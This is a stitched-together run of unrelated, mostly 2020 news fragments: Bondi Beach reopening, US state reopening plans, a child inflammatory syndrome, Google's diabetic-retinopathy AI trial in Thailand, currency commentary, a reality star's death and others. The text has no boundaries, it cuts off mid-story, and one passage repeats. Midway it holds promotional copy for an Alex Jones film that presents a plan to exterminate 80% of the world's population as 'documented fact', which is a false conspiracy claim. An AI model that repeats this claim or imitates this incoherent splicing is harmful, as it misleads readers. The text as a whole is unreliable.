Time. On March 13, all that stopped. The performances were put on hold, as were the rehearsals, and the Madrids, a married couple who had planned on months of shuttling between New York and Chicago for a now-canceled tryout run of One More Time, decided to move home to San Diego. It was around then that Keone noticed his first symptoms. He felt sore, but thats not unusual for a dancer. He felt achy, but thats not uncommon after a cross-country flight. Then came fevers and chills, which made it all seem like the flu, except that he had already had the flu a few months earlier. Advertisement Hundreds of eager swimmers and surfers have flocked to Bondi Beach for the first time since it was closed five weeks ago to stem the spread of the coronavirus. Large crowds ran into the surf at the famous tourist spot after waiting patiently for lifeguards to remove the metal barriers at the beach's entrance at 7am on Tuesday. Those wanting access to the water are being funneled through designated entry and exit points and the sand remains out of bounds to sunbakers. Councils governing beaches on Sydney's eastern suburbs have threatened to close the beaches again if the new rules are not followed - while the mayor of Waverley Council has told those not local to Bondi to stay away. Scroll down for video Freedom at last! Beachgoers sprinted into the surf at Bondi Beach on Tuesday morning as the famous strip of sand was opened for the first time in five weeks Never mind the weather: Hundreds of revellers filed onto the beach despite overcast conditions after waiting patiently for lifeguards to remove the metal barriers in front of the famous tourist spot at 7am From Tuesday morning Waverley residents can use the area's beach for exercise purposes only - and those from further afield have been told to stay away A beachgoer rejoiced as she dashed into the surf as Waverley Council announced Bondi Beach could open again on Tuesday From Tuesday, Waverley residents are permitted to swim or surf at Bondi and Bronte - and surf only at Tamarama - between 7am and 5pm on weekdays. Waverley Council mayor Paula Masselos said Bondi Beach was busier than usual for 7am but believed people were doing the right thing. 'So far I've been really delighted at how the corridors are working,' Ms Masselos said. Surfer Scott Heappey said there were lots of surfers out in the water at Bondi but noticed people were observing social distancing. 'There's plenty of people but everyone's staying nice and spread out,' Mr Heappey said. 'It's really nice to be back in the water. Designated entry points are being used at first to funnel beachgoers at Bondi onto the sand and help enforce policing of the new rules By later in the morning the beach was mostly scarce as beachgoers appeared to be adhering to rules preventing them from simply sitting on the beach Beachgoers clutching surfboards make their way through the cordoned-off walkways as Bondi Beach reopened to the public Young surfers wait at sunrise on Tuesday morning in front of Bondi's mural wall for the iconic beach to reopen after weeks of it being shut under coronavirus lockdown measures Two beachgoers dash into the sand at Bondi after Waverley Council joined neighbouring Randwick Council in re-opening its beaches for exercise Taste of freedom: A woman strides through the surf on Tuesday morning. Waverley Council mayor Paula Masselos said she believed most of the beach users were doing the right thing 'I come down here three times a day. That's my exercise and that's what I do.' But despite being told to access the water via a taped-off corridor of sand, many jumped over the promenade wall to get onto the beach. Bondi was closed on March 21 after hundreds of people flocked to the tourist spot, with authorities at the time slamming the 'irresponsible behaviour' of beachgoers. Waverley Council has stressed the beaches is still closed to non-exercise purposes as Bondi is still the district with the highest number of COVID-19 cases in Australia. 'Surf and go' and 'swim and go' measures are being strictly enforced at Bondi Beach and revellers are banned from sitting on the sand Revellers are not allowed to sit on the beach despite Bondi re-opening - mirroring rules at Coogee Beach which was re-opened last week The mayor said 'swim and go' and 'surf and go' measures were strictly for Waverley residents and people shouldn't drive to the beaches from further afield. All of Randwick City Council's beaches will again reopen from Tuesday without any time restrictions while those in Dee Why, Freshwater and Manly, under the Northern Beaches Council, remain closed. Residents are allowed on the sand so long as they are 'jogging or doing some legitimate exercise'. 'Lifeguards, rangers and other council staff will continue to monitor numbers on the sand and in the water and will restrict access or temporarily close beaches if crowd numbers exceed safe limits,' Randwick council said in a statement on Monday. Mayor Danny Said said: 'Our message could not be simpler - Randwick City beaches are to be used for exercise only.' Beachgoers on Tuesday morning appeared to be following the official advice from the local government to 'swim and go' Revellers at the northern end of Bondi Beach enjoy their first dip in the famous waters for the first time in five weeks The road out of the pandemic: 'Beach closed' signs are removed from Bondi Beach on Tuesday morning. The beach has been closed to the public since March 21 to help slow the spread of COVID-19 Northern Beaches Council chief executive Ray Brownlee on Monday said only Dee Why, Freshwater and Manly beaches were closed in the city's north. 'Council will continue to review the situation .... in the coming week,' he said in a statement. It comes as Australia recorded just seven new cases of coronavirus on Monday. A total of four states and territories recorded no new cases as Australia's lockdown restrictions continue to smash the COVID-19 curve. Australia's reduction of new infections is the envy of the world, with the global number of cases rising to more than three million globally on Monday night. A beachgoer in a pineapple-themed pink bikini at Bondi Beach on Tuesday. She was among hundreds to celebrate the beach re-opening as coronavirus restrictions nationwide are relaxed New beginnings: The large 'beach closed' signs at Bondi have been replaced with signs directing beachgoers to use special entry points onto the sand A news crew stand on Bondi Beach on Tuesday morning as the famous strip of sand re-opened to the public for the first time in more than a month Lifeguards in a buggy patrol Bondi Beach. Beachgoers in Sydney's eastern suburbs have been told if they do not follow the rules about what activities are allowed the beaches will be closed again A film crew captures the first beachgoers making their way onto Bondi Beach for the first time in weeks on Tuesday morning Western Australia, South Australia, the Australian Capital Territory and the Northern Territory all had no new cases on Monday. Victoria recorded one new infection but had a separate case reclassified to New South Wales - leaving the state's total unchanged at 1,349. New South Wales and Tasmania had two new cases each while Queensland had three. Australia now has a total of 6,721 confirmed cases of which 83 have died and 5,588 have recovered. Residents are allowed on the sand so long as they are 'jogging or doing some legitimate exercise' with lifeguards and rangers patrolling the beach. Hundreds of people are pictured on Bondi Beach on March 21 - prompting authorities to close the sand indefinitely Of the 1,050 active cases, 43 people are in intensive care and 27 are on ventilators. Travel bans, closed borders and business shutdowns have slashed the number of new daily cases from a peak of 460 on March 28. Chief Medical Officer Brendan Murphy said on Monday the government's 'suppression' strategy was working. He said that if the progress continued, restrictions may soon be gently relaxed - meaning people would be able to sit on a park bench or possibly hold small gatherings. For the New World Order, a world government is just the beginning. Once in place they can engage their plan to exterminate 80% of the world's population, while enabling the "elites" to live forever with the aid of advanced technology. For the first time, crusading filmmaker ALEX JONES reveals their secret plan for humanity's extermination: Operation ENDGAME. Jones chronicles the history of the global elite's bloody rise to power and reveals how they have funded dictators and financed the bloodiest warscreating order out of chaos to pave the way for the first true world empire. Watch as Jones and his team track the elusive Bilderberg Group to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. to Ottawa and Istanbul to document their secret summits, allowing you to witness global kingpins setting the world's agenda and instigating World War III. Learn about the formation of the North America transportation control grid, which will end U.S. sovereignty forever. Discover how the practitioners of the pseudo-science eugenics have taken control of governments worldwide as a means to carry out depopulation. View the progress of the coming collapse of the United States and the formation of the North American Union. Never before has a documentary assembled all the pieces of the globalists' dark agenda. Endgame's compelling look at past atrocities committed by those attempting to steer the future delivers information that the controlling media has meticulously censored for over 60 years. It fully reveals the elite's program to dominate the earth and carry out the wicked plan in all of human history. Endgame is not conspiracy theory, it is documented fact in the elite's own words. Evening Standard Downing Street has insisted it has full confidence in Boris Johnsons senior adviser Martin Reynolds as he faced questions over his position following the latest lockdown-busting party storm. Mr Reynolds, who serves as the Prime Ministers Principal Private Secretary, wrote an email - leaked to ITV News on Monday - inviting 100 officials in Number 10 to socially distanced drinks on May 20 2020. The emergence of the email has reignited the controversy over gatherings and parties at Downing Street and across Whitehall which may have broken Covid lockdown rules in place at the time to help slow the spread of the deadly virus. (This April 26 story corrects the fourth paragraph to clarify court order) (Reuters) - Oklahoma's governor has called on U.S. President Donald Trump to declare the coronavirus pandemic an 'act of God,' a step to help oil-producing states contend with a crude glut that caused futures prices to close below $0 last week for the first time. (This April 26 story corrects the fourth paragraph to clarify court order) (Reuters) - Oklahoma's governor has called on U.S. President Donald Trump to declare the coronavirus pandemic an "act of God," a step to help oil-producing states contend with a crude glut that caused futures prices to close below $0 last week for the first time. "Over-production of oil continues to threaten the economy," Governor J. Kevin Stitt said in a letter to Trump that Stitt posted on Twitter late on Saturday. Declaring a "force majeure" or "act of God" would allow oil companies to halt operations without risking that land leases will be canceled for stopping production, Stitt said. Oklahoma's energy regulator said on Wednesday that current production can be considered "economic waste." That may allow producers to close money-losing wells without losing their leases, in what was viewed as a for struggling U.S. oil companies seeking relief from states after the market crash. U.S. production reached a record-high of near 13 million barrels per day late last year, but the pandemic has cut global consumption by 20% to 30%, or up to 30 million bpd. (Reporting by Alwyn Scott; Editing by Daniel Wallis) This story has not been edited by Firstpost staff and is generated by auto-feed. LONDON - Doctors in Britain, Italy, and Spain have been warned to look out for a rare inflammatory condition in children that is possibly linked to the new coronavirus. Earlier this week, Britains Paediatric Intensive Care Society issued an alert to doctors noting that, in the past three weeks, there has been an increase in the number of children with a multi-system inflammatory state requiring intensive care across the country. The group said there was growing concern that either a COVID-19 related syndrome was emerging in children or that a different, unidentified disease might be responsible. We already know that a very small number of children can become severely ill with COVID-19 but this is very rare, said Dr. Russell Viner, president of the Royal College of Paediatrics and Child Health. He said the syndrome was likely caused by an overreaction of the bodys immune system and noted similar symptoms had been seen in some adults infected with the coronavirus. The cases were also reported to have features of toxic shock syndrome or Kawasaki disease, a rare blood vessel disorder. Only some of the children tested positive for COVID-19, so scientists are unsure if these rare symptoms are caused by the new coronavirus or by something else. Health officials estimate there have been about 10-20 such cases in Britain and NHS England said it is urgently investigating the reports. Viner said that although doctors were considering other potential causes for the syndrome, including other viruses or new medications, the working hypothesis is that its COVID-related. Spains Association of Pediatrics recently made a similar warning, telling doctors that in recent weeks, there had been a number of school-age children suffering from an unusual picture of abdominal pain, accompanied by gastrointestinal symptoms that could lead within hours to shock, low blood pressure and heart problems. It is a priority to recognize these (symptoms) to urgently refer these patients to a hospital, the pediatric association said. In Italy, Dr. Angelo Ravelli of Gaslini Hospital and a member of the Italian Paediatricians Society, sent a note to 10,000 colleagues raising his concerns. He and his team reported an unusual increase in the number of patients with Kawasaki disease in regions of Italy hit hard by the pandemic, noting some children had COVID-19 or had contacts with confirmed virus cases. These children do not respond to traditional treatment, he said, adding that some were given a high dose of steroids. Those who developed toxic shock syndrome needed help breathing and were admitted to intensive care units, Ravelli said. Kawasaki symptoms include a high temperature that lasts for 5 days or more, a rash and swollen glands in the neck, according to Britains National Health Service. Dr. James Gill, an honorary clinical lecturer at Warwick Medical School, said while the reports were concerning there was still no solid evidence that the rare syndrome was caused by COVID-19. Regardless of source, multi-system inflammatory diseases are exceptionally serious for children and already stretched intensive care teams, so keeping an extra eye out for new symptoms arising in the patients we see is always a good thing, he said. Some possible cases have also been reported in France and Belgium. Dr. Sonja Rasmussen, a University of Florida pediatrics professor, noted one similar case in the United States involving a 6-month old girl in California who was diagnosed with Kawasaki disease and then COVID-19. That report, from Stanford University, doesnt clarify whether both illnesses happened coincidentally or if COVID-19 might have somehow caused Kawasaki disease, said Rasmussen, who co-authored a recent JAMA Pediatrics article about COVID-19 and children. Well need more information published in the peer-reviewed literature to better understand this association. However, Kawasaki disease is a relatively rare condition, so seeing these cases makes us concerned that Kawasaki disease could be a rare complication of COVID-19, she said. We need to remain vigilant when we see children with findings that arent typical for COVID-19. To date, children have been among the least affected group by the coronavirus. Data from more than 75,000 cases in China showed they comprised 2.4% of all cases and mostly suffered only mild symptoms. The World Health Organization said it was attempting to gather more information on any new, coronavirus-related syndrome in children from its global network of doctors but had not received any official reports about it. ____ Aritz Parra in Madrid, Andrea Foa in Genoa, Italy and AP Medical Writer Lindsey Tanner in Chicago contributed to this report. The Trump administration promised Americans that expanded coronavirus testing would give states the information they need to restart their economies, but Texas has already heard enough.Governor Greg Abbott said Monday that malls, restaurants and movie theaters could re-open Friday. The lives saved are priceless, but the price has been steep, Abbott said. About an hour earlier, roughly 1,300 miles west, California Governor Gavin Newsom admonished citizens for flocking to the Pacific over the weekend, which led to images of beaches packed with frolickers. He said his stay-home order would stand, and encouraged people to be patient: The only thing that could set us back is our individual collective behavior. Click here for the complete coverage of the Covid-19 pandemic The difference in approach by the countrys two most-populous states provides a striking picture of a nation eager to get back to business, but still unclear how. Some states are banding together, with the so-called Western States Pact adding Colorado and Nevada to its ranks Monday. That means its safety-first policies will cover a combined 60 million residents. Others, like Texas and Ohio, laid out ambitious reopening plans despite uncertainty that Trumps promised testing will materialize. The proliferation of plans, with their byzantine phases and conditions varying across regions -- and even within states -- reinforced just how divided the country remains on how and when to reopen the economy. Trump inadvertently summed up the challenge Monday when asked what advice he had for Americas governors. We recommend that they do it as quickly as possible, the president said. But safely. Grand Plans The administration plans to rely on drug retailers and lab-testing companies to provide mass testing and said Monday it would partner with Walmart Inc., CVS Health Corp. and Walgreens Boots Alliance Inc. If successful, it could be the biggest expansion yet of testing capacity in the U.S. The goal is to have all 50 states test at least 2% of residents, with an emphasis on the elderly and minority communities that have seen the highest mortality rates. Click here for the latest updates from the coronavirus outbreak Trump has been frustrated by questions about the federal governments failure to provide help as more than 56,000 Americans have died, and has said states should shoulder more of the burden. Mondays blueprint makes a point of saying the federal government will play a supporting role. That leaves it to state leaders to decide when theyre ready to resume commerce. Ohio, like Texas, will gradually start to reopen businesses Friday, though at a slower pace. Dental offices and veterinary clinics can open this week, though retail businesses are still two weeks from opening, said Governor Mike DeWine. Getting Aligned New York Governor Andrew Cuomo, meanwhile, said some parts of the state could re-open in May, while New Jerseys stay-at-home order will continue indefinitely, said Governor Phil Murphy. Their paths diverged even though both states are yoked in a Northeast coalition that includes Pennsylvania and Massachusetts, among others. In Louisiana, Governor John Bel Edwards extended the states stay-at-home order until at least May 15, and Hawaii Governor David Ige over the weekend extended his order until June. What were seeing is different circumstances in different states, and also different attitudes in different states, said Jim Wilcox, a professor of economic analysis and policy from the University of Californias Haas School of Business. This is not terribly surprising to see 50 different flowers blooming here. Trade groups for some of the worlds largest retailers on Monday called for a uniform program among states, including the opening of warehouses and distribution centers in unison. Cuomo on Monday also stressed the need to work with counterparts in the Northeast, where states are close and travel is easy. We have to coordinate as a region, Cuomo said. Everybody in that region has to have the same policy when it comes to schools, when it comes to transportation, when it comes to testing, when it comes to tracing. And that regions plan has to fit in to our overall multi-state plan. Green Magnets But that aspiration will likely prove difficult. Even opening rural areas, which are less densely populated, could cause issues as people flock to enjoy those newly opened businesses and parks, as they did on Californias beaches. The minute you open up two to three parks, either a county park or a state park, youve got the rest of the counties, if not the rest of the regions, showing up, said Murphy of New Jersey. The key for many states to reopen has been reliable and widespread testing -- something that Trump promised Monday in a press conference while pointing out that the U.S. has completed more tests than any other country. But the number of tests per day, a key metric, is still hundreds of thousands of tests shorter than the 500,000 experts estimate are needed. In California, for example, Newsom said last week the state needs to conduct from 60,000 to 80,000 tests per day. As of last week, that number was just over 16,000, though he was optimistic Monday that the state would be able to open in weeks, not months so long as people continue to practice social distancing. A major risk to restarting businesses is that new infections may take weeks to manifest as confirmed cases or hospital visits. The delay between contracting the virus and showing symptoms, believed to be as long as two weeks, could present a challenge to determining whether a states plan is working safely. States that arent patient may make decisions based on premature data from other states, Wilcox said. The longer that gestation period is, the tougher it is to know youve gone too far -- or that you havent opened as much as you could have safely, he added. It seems to me an awful lot of this difficulty is because of this long lag. The neighboring country Nepal has extended the lock down till May 7. With this, the Indo-Nepal border will also remain sealed from Nepal till May 7. In such a situation, Nepalese citizens trapped in Indian territory will have to wait longer to return to their homeland. In Champawat district alone, 214 Nepali citizens are stranded, who have been accommodated in relief camps. In addition, hundreds of Nepalese nationals are stranded in the Indian border areas adjoining Nepal due to the Indo-Nepal border being sealed. Hundreds of people who have reached Nepal via Dhanchula, Jhulaghat and Champawat's Banbasa, Tanakpur border are waiting for their return to their homeland by staying in relief camps here. Marasaini and Nepal Armed Police SP Veer Bahadur Sahu come across this border and stay in relief camps He was expected to return to the Government of Nepal will take their citizens. But at present the Nepal government has refused to take its citizens. Meanwhile, Nepal government has now extended the lockdown till May 7 due to increase in corona infection. According to information from across the border, the number of corona positive patients has reached 52 in Nepal so far and 14 patients including three infected deposits are healthy. Have been While the death toll from Corona is still zero. Also Read: Excise department struggling with shortage of funds, fund not left for salary Mayawati breaks silence on corona kit, advised this to centre BJP MP starts protesting against Mamata government on road, makes serious allegations BJP was giving communal color to Palghar, now why silent on Bulandshahr: Congress The Pharmaceutical Manufacturers Association of Ghana (PMAG) has targeted to produce 70 per cent of the country's essential pharmaceutical products within the next three years. The move is meant to reduce importation of pharmaceutical products into the country and create more job opportunities in line with the Ghana Beyond Aid agenda. Currently, the 15 local pharmaceutical companies in the country account for 30 per cent of the countrys essential drug requirement, with the remaining 70 per cent imported. The Chief Executive Officer (CEO) of Ernest Chemists Limited, a leading manufacturer of pharmaceutical products, Mr Ernest Bediako Sampong, said the pharmaceutical companies had begun rolling out initiatives to expand their existing infrastructure and to introduce modern technologies into their operations to improve production. Mr Sampong made this known to the Daily Graphic last Friday, adding that what was required to realise the targeted output was adequate funding support from the government. Tour He said this when he received the board members of the Ghana Export-Import (GEXIM) Bank which was on a tour of some pharmaceutical companies, funded by the bank over the past three years to boost their production. "We are currently producing 30 per cent of the essential drugs needed in the country but our objective is to increase production to 70 per cent in two or three years time. "We know how to get there but what we need is finance to push us accomplish it," he said. In line with the governments One District, One Factory (1D1F) policy, the bank has already committed $60 million to support nine pharmaceutical companies. Last Friday, the board of GEXIM Bank toured Ernest Chemists Limited, Tobinco Group and Atlantic Life Scientists Limited, all in the Greater Accra Region. The team from GEXIM Bank was led by the Board Chairman, Mr Boateng Genfi, and the CEO of the bank, Mr Lawrence Agyinsam. Mr Sampong said GEXIM Banks investment into the pharmaceutical industry had helped many of the companies to undertake innovative projects and to acquire appropriate technologies to boost their production. "We are calling however for funding support to be made sustainable in order to allow us to complete some of our ongoing projects since a lot of pharmaceutical products are going to be manufactured locally. "We also intend to export and it means that we will earn foreign exchange, employ more people and train them to acquire skills needed to improve the system," he said. Investment The Managing Director of Tobinco Group, Mr Kwadwo Asare Twerefour, said investing in key infrastructure projects was crucial to achieving self-sufficiency in the pharmaceutical industry. He said Tobinco Pharmaceuticals was setting up a sterile plant to enable it to go into producing sterile pharmaceutical products and avoid dependence on imported products. "All of us are trying to increase our capacity, improve on technology and expand our production lines so that we can produce most of the essential drugs that this country needs; but we need more funds to do this," he said. Commitment The GEXIM team was satisfied that the banks investment in the pharmaceutical industry was yielding good results and gave an assurance that more funds would be pumped into the industry. Mr Agyinsam said investment in local pharmaceutical companies to produce essential medicines locally was a giant step towards self-sufficiency. He urged local pharmaceutical companies to get themselves ready to take advantage of opportunities that the African Continental Free Trade Area (AfCFTA) would present to them. Source: Daily Graphic Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Hyundai's high-performance N brand product portfolio offers everything from motorsport to base model. N Line is characterized by N-specific design and performance upgrades. Hyundai is expanding its N Line model line-up to enable even more customers to experience the N feeling. A sneak preview video and teaser images can be viewed, downloaded and embedded at hyundainews.com; https://hyundaius.co/35baxj3 and Hyundai's other social media channels. About Hyundai Motor Company Established in 1967, Hyundai Motor Company offers a range of world-class vehicles and mobility services in more than 200 countries. Hyundai Motor sold more than 4.4 million vehicles globally in 2019, and currently employs some 120,000 personnel worldwide. The company is enhancing its product lineup with vehicles designed to help usher in a more sustainable future, while offering innovative solutions to real-world mobility challenges. Through the process Hyundai aims to facilitate 'Progress for Humanity' with smart mobility solutions that vitalize connections between people and provide quality time to its customers. More information about Hyundai Motor and its products can be found at: http://worldwide.hyundai.com or http://globalpr.hyundai.com Disclaimer: Hyundai Motor Company believes the information contained herein to be accurate at the time of release. However, the company may upload new or updated information if required and assumes that it is not liable for the accuracy of any information interpreted and used by the reader. SOURCE Hyundai Motor America Related Links www.hyundainews.com AI is frequently cited as a miracle worker in medicine, especially in screening processes, where machine learning models boast expert-level skills in detecting problems. But like so many technologies, it's one thing to succeed in the lab, quite another to do so in real life as Google researchers learned in a humbling test at clinics in rural Thailand. Google Health created a deep learning system that looks at images of the eye and looks for evidence of diabetic retinopathy, a leading cause of vision loss around the world. But despite high theoretical accuracy, the tool proved impractical in real-world testing, frustrating both patients and nurses with inconsistent results and a general lack of harmony with on-the-ground practices. It must be said at the outset that although the lessons learned here were hard, it's a necessary and responsible step to perform this kind of testing, and it's commendable that Google published these less than flattering results publicly. It's also clear from their documentation that the team has already taken the results to heart (although the blog post presents a rather sunny interpretation of events). The research paper documents the deployment of a tool meant to augment the existing process by which patients at several clinics in Thailand are screened for diabetic retinopathy, or DR. Essentially nurses take diabetic patients one at a time, take images of their eyes (a "fundus photo"), and send them in batches to ophthalmologists, who evaluate them and return results.... usually at least 4-5 weeks later due to high demand. The Google system was intended to provide ophthalmologist-like expertise in seconds. In internal tests it identified degrees of DR with 90% accuracy; the nurses could then make a preliminary recommendation for referral or further testing in a minute instead of a month (automatic decisions were ground truth checked by an ophthalmologist within a week). Sounds great in theory. Story continues Ideally the system would quickly return a result like this, which could be shared with the patient. But that theory fell apart as soon as the study authors hit the ground. As the study describes it: We observed a high degree of variation in the eye-screening process across the 11 clinics in our study. The processes of capturing and grading images were consistent across clinics, but nurses had a large degree of autonomy on how they organized the screening workflow, and different resources were available at each clinic. The setting and locations where eye screenings took place were also highly varied across clinics. Only two clinics had a dedicated screening room that could be darkened to ensure patients pupils were large enough to take a high-quality fundus photo. The variety of conditions and processes resulted in images being sent to the server not being up to the algorithm's high standards: The deep learning system has stringent guidelines regarding the images it will assess...If an image has a bit of blur or a dark area, for instance, the system will reject it, even if it could make a strong prediction. The systems high standards for image quality is at odds with the consistency and quality of images that the nurses were routinely capturing under the constraints of the clinic, and this mismatch caused frustration and added work. Images with obvious DR but poor quality would be refused by the system, complicating and extending the process. And that's when they could get them uploaded to the system in the first place: On a strong internet connection, these results appear within a few seconds. However, the clinics in our study often experienced slower and less reliable connections. This causes some images to take 60-90 seconds to upload, slowing down the screening queue and limiting the number of patients that can be screened in a day. In one clinic, the internet went out for a period of two hours during eye screening, reducing the number of patients screened from 200 to only 100. "First, do no harm" is arguably in play here: Fewer people in this case received treatment because of an attempt to leverage this technology. Nurses tried various workarounds but the inconsistency and other factors led some to advise patients against taking part in the study at all. Even the best case scenario had unforeseen consequences. Patients were not prepared for an instant evaluation and setting up a follow-up appointment immediately after sending the image: As a result of the prospective study protocol design, and potentially needing to make on-the-spot plans to visit the referral hospital, we observed nurses at clinics 4 and 5 dissuading patients from participating in the prospective study, for fear that it would cause unnecessary hardship. As one of those nurses put it: "[Patients] are not concerned with accuracy, but how the experience will bewill it waste my time if I have to go to the hospital? I assure them they dont have to go to the hospital. They ask, does it take more time?, Do I go somewhere else? Some people arent ready to go so wont join the research. 40-50% dont join because they think they have to go to the hospital." It's not all bad news, of course. The problem is not that AI has nothing to offer a crowded Thai clinic, but that the solution needs to be tailored to the problem and the place. The instant, easily understood automatic evaluation was enjoyed by patients and nurses alike when it worked well, sometimes helping make the case that this was a serious problem that had to be addressed soon. And of course the primary benefit of reducing dependence on a severely limited resource (local ophthalmologists) is potentially transformative. But the study authors seemed clear-eyed in their evaluation of this premature and partial application of their AI system. As they put it: When introducing new technologies, planners, policy makers, and technology designers did not account for the dynamic and emergent nature of issues arising in complex healthcare programs. The authors argue that attending to peopletheir motivations, values, professional identities, and the current norms and routines that shape their workis vital when planning deployments. The paper is well worth reading both as a primer in how AI tools are meant to work in clinical environments and what obstacles are faced both by the technology and those meant to adopt it. DXY INDEX PRICE OUTLOOK: US DOLLAR TURNS TO CONSUMER CONFIDENCE DATA, IMPACT OF CORONAVIRUS The US Dollar dropped by 0.25% on balance according to the DXY Index USD price action comes under pressure amid ebbing volatility and eroding safe-haven demand US Dollar might rise if consumer confidence data indicates coronavirus concerns linger The US Dollar is starting the week on its back foot with the DXY Index coming under pressure slightly. USD price action edged lower by about 0.25% on balance judging by DXY Index, which broadly reflects US Dollar performance against other major currencies. US DOLLAR DXY INDEX PRICE CHART: DAILY TIME FRAME (26 DECEMBER 2019 TO APRIL 27 2020) Chart created by @RichDvorakFX with TradingView After hitting resistance around the 100.80 price level during Fridays trading session, and failing to form a second-consecutive higher high, US Dollar downside stretched lower on Monday. The DXY Index is currently perched slightly above two notable technical support levels: the US Dollars 9-day exponential moving average as well as the 38.2% Fibonacci retracement of its most recent bullish leg. US DOLLAR IN FOCUS WITH CONSUMER CONFIDENCE INDEX SET TO DROP AS CORONAVIRUS LOCKDOWN ROILS SENTIMENT The Conference Boards Consumer Confidence Index is very similar to the University of Michigans Consumer Sentiment Index. The two consumer surveys differ slightly in timing, size, and scope, but the two economic indicators typically move in tandem with one other. That said, primarily due to the coronavirus and likely unavoidable recession, consumer confidence and consumer sentiment both plunged sharply since February. Following a 30% rebound in stocks as Fed liquidity gushes, however, market participants are due to get a fresh look at how consumers feel about the US economy tomorrow. The Conference Board Consumer Confidence Index is due Tuesday, April 28 at 14:00 GMT. If the upcoming release of consumer confidence data reveals that coronavirus concerns linger, it could bode well for the US Dollar. This is considering the status held by the US Dollar as a top safe-haven asset, which tend to outperform during periods of heightened risk-aversion. On the contrary, a constructive recovery in consumer confidence might add to recent weakness experienced by the US Dollar. This comes as coronavirus optimism bests coronavirus pragmatism. Also noteworthy, the Federal Reserve is anticipated to take the spotlight later this week and could have a material impact on the broader direction of USD price action. Keep Reading US Dollar Forecast: Fed, Coronavirus Guidelines & Earnings Eyed -- Written by Rich Dvorak, Analyst for DailyFX.com Connect with @RichDvorakFX on Twitter for real-time market insight Ashley Ross, known as Ms. Minnie to fans of the Lifetime reality show Little Women: Atlanta, died from injuries following a hit and run car crash, her representative confirmed. The 34-year-old reality star died at approximately 10:30 p.m. Monday at Grady Memorial Hospital in Atlanta, representative Liz Dixson told USA TODAY. The accident happened the night before on Old National Highway. Publicist to Ross, Dixsons statement according to a Tweet from Pop Base: Ashley Ross (Ms. Minnie) from Little Women Atlanta has sadly passed away at the age of 34 after a hit-and-run accident. We send all our love to her family and friends, R.I.P Ashley. pic.twitter.com/oTiVqIm6FD Pop Base (@PopBase) April 28, 2020 "It is with profound sadness that we confirm on behalf of the family of Ashley Ross, Ms Minnie of Little Women: Atlanta, has succumbed to injuries from a tragic hit and run car accident today at the age of 34," read a statement from Ross' management on her Instagram account. "The family respectfully asks for their privacy as they grieve during this very difficult time." Ross was one of the founding cast members of the Lifetime reality show, based in Georgia, that chronicles the lives of women with dwarfism. She was a hair stylist before joining the show. The opportunity came and fell into my lap and I ran with it, she said in a 2016 interview with The Breakfast Club radio show. Tonya Renee Banks, a fellow Little Women: Atlanta cast member, mourned Ross early Tuesday morning. Ms. Minnie you will be missed, (rest in heaven) girlie, she captioned an Instagram post of the two of them posing together. My condolences to her friends and family Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. Read more entertainment news on PennLive: I have been reading the various opinions expressed by both our Republican and Democratic representatives and our governor regarding ways to approach the COVID-19 crisis and its impact on all New Mexicans. I would like to express my view on what we have done so far and the urgency of where we need to go. First of all kudos to our governor, her staff and cabinet. I am so impressed with her aggressive, engaged and early response to the COVID-19 tragedy. Her directives to our state have definitely been difficult and painful but are needed to stem the pandemic for all New Mexicans. Lives have been, and will continue to be, saved. While energetically leading in the public health perspective, I do feel we need her to lead the attack to save the economic health and well-being of our state and its people. I understand the desire to let the federal government lead on this, but regretfully we are all sadly cognizant of the dysfunctional characteristics it has shown that prevent it from helping all the states in an efficient and timely fashion. Furthermore, I acknowledge the need to focus on the public health, but I firmly believe our governor and legislators can handle both the medical and economic health of our state simultaneously. I read the very interesting and spot-on op-ed by Rep. Damon Ely (Journal April 19) and ask our governor to at least give consideration to his proposals, in one form or another. We have the ability to move quickly to save our restaurant owners, small grocery stores, our beauticians/barbers and all our neighbors who service our needs. We can help those who are not financially secure enough even with the long-waited-for checks from the federal government We just cant delay any longer. We need to act now. Gov. Michelle Lujan Grisham, please lead the charge to work in parallel on both fronts. We know you can. The Community FoodBank of New Jersey is partnering with Essex County Executive Joseph N. DiVincenzo Jr., Freeholder President Brendan Gill, and vice president Wayne Richardson to hold an Emergency Food Distribution Event today at Branch Brook Park in Newark to help families negatively impacted by the coronavirus. The 2,000 boxes of food to be distributed will benefit families affected by the layoffs of the coronavirus and who are suffering from insecure access to food at this time. The coronavirus has forced an enormous amount of people out of work and created food insecurity among residents who now have limited income or no income at all, said DiVincenzo, Gill and Richardson in a joint statement, Essex County has a long relationship with the Community FoodBank of New Jersey, and we are pleased to partner with them to help those who are in dire need. The emergency food boxes are prepared by the staff of the Community FoodBank of New Jersey and will contain enough food to provide families for 40 meals, consisting of nonperishables such as cornmeal, oatmeal, fruit, shelf-stable milk, canned vegetables, soup, ravioli and more. We are grateful for the longstanding relationship that CFBNJ has with Essex County and for this most recent coordinated effort in response to the coronavirus outbreak," said Carlos Rodriguez, president and CEO of the Community FoodBank of New Jersey, "As the economic impacts of the pandemic worsen, we turn to partners like them to get nutritious food out to those who need it most, whether they were already struggling before this crisis or find themselves in need for the first time in their lives. We know the 2,000 boxes does not meet the entire need of our community, but we wanted to help as much as we can, DiVincenzo said. The event staff would like to inform attendees that cars entering from Mill Street or other northern entrances will not be allowed to make a left turn into the Cherry Blossom Welcome Center parking lot. In addition, residents are asked to not arrive on site until 8 a.m. Vehicles that arrive before 8 a.m. will be asked to leave. The Community FoodBank of New Jersey has delivered food and aid to those who need it most across the state for 45 years, providing over 50 million meals last year through community partners, including pantries, soup kitchens, emergency shelters, mobile pantries, and child and senior feeding programs. T he sex toy industry is booming amidst the global pandemic, which has seen millions around the world forced to #stayhome. Companies, including Cult Beauty, LGBTQ+ friendly sex toy retailer Kandid, and Swedish manufacturer Lelo report skyrocketing sales and searches for self-pleasure-related items across their sites and it might just do your mind some good, too. There's a mindfulness aspect to masturbating, sexual wellness doctor Elesha Vooght previously told us. "It's an opportunity to completely focus and clear the mind as the motions are quite repetitive." Now, one brand is offering to pay you to test its new sex toys. British sexttoy retailer Ricky is searching for "pleasure-seeking men and women anywhere in the world who get just as excited about sex toys as we do," who will get paid 100 for each review. Though there's a slight catch, the brave candidates will also have to post their feedback on social media. "We'll send you some of our coolest, newest sex toys to try out from the comfort of your home (that way you won't need to worry about breaking Boris' stay-at-home rule)! All you have to do is try it out, review it 